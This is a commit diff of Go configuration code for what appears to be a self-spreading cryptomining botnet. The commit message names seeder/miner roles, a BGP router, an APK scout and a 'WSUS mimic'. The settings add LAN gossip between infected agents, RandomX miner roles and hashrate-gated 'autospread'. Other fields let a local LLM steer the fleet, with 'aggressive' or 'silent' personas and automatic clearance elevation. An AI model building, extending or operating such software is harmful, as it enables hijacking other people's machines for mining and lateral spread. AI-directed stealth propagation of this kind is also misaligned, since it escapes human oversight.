Add fleet evolution: genetic breeding, atlas gossip, BGP router, seeder/miner, genealogy, court gates, APK scout, personas, WSUS mimic, and P2 test coverage

This commit is contained in:
AetherForge
2026-06-07 05:00:22 -07:00
parent 7b2d41cda8
commit 82d74abfcf
38 changed files with 486 additions and 120 deletions

View File

@@ -83,6 +83,8 @@ type ServerSettings struct {
AdaptiveStrategyEnabled bool `json:"adaptive_strategy_enabled"`
// AIControlEnabled switches fleet control from adaptive tier learning to local LLM decisions.
AIControlEnabled bool `json:"ai_control_enabled"`
// AtlasLanGossipEnabled relays atlas skip hints between agents on the same /24 via WS.
AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled"`
// AIEndpoint is the OpenAI-compatible base URL (e.g. Ollama /v1).
AIEndpoint string `json:"ai_endpoint"`
// AIModel is the LLM model name for fleet AI control (Calibrate).
@@ -95,6 +97,12 @@ type ServerSettings struct {
AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"`
// AIPersona selects the Calibrate fleet AI preset (aggressive|silent|passive|persuasive|balanced).
AIPersona string `json:"ai_persona,omitempty"`
// FleetRolesEnabled splits seeders (LAN staging) from miners (RandomX) with auth hints.
FleetRolesEnabled bool `json:"fleet_roles_enabled"`
// HashrateGateSpreadMin is minutes of stable hashrate before agents may autospread.
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min,omitempty"`
// HashrateGateHPS is the minimum H/s required for hashrate-gated propagation.
HashrateGateHPS float64 `json:"hashrate_gate_hps,omitempty"`
}
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
@@ -304,6 +312,7 @@ func DefaultConfig() *Config {
AIDecisionIntervalSec: 60,
AIAutoElevateClearance: true,
AIPersona: "balanced",
FleetRolesEnabled: false,
},
}
}
@@ -966,6 +975,12 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(srvKeys, "ai_control_enabled") {
dst.Server.AIControlEnabled = src.Server.AIControlEnabled
}
if in(srvKeys, "atlas_lan_gossip_enabled") {
dst.Server.AtlasLanGossipEnabled = src.Server.AtlasLanGossipEnabled
}
if in(srvKeys, "fleet_roles_enabled") {
dst.Server.FleetRolesEnabled = src.Server.FleetRolesEnabled
}
if in(srvKeys, "ai_endpoint") {
dst.Server.AIEndpoint = src.Server.AIEndpoint
}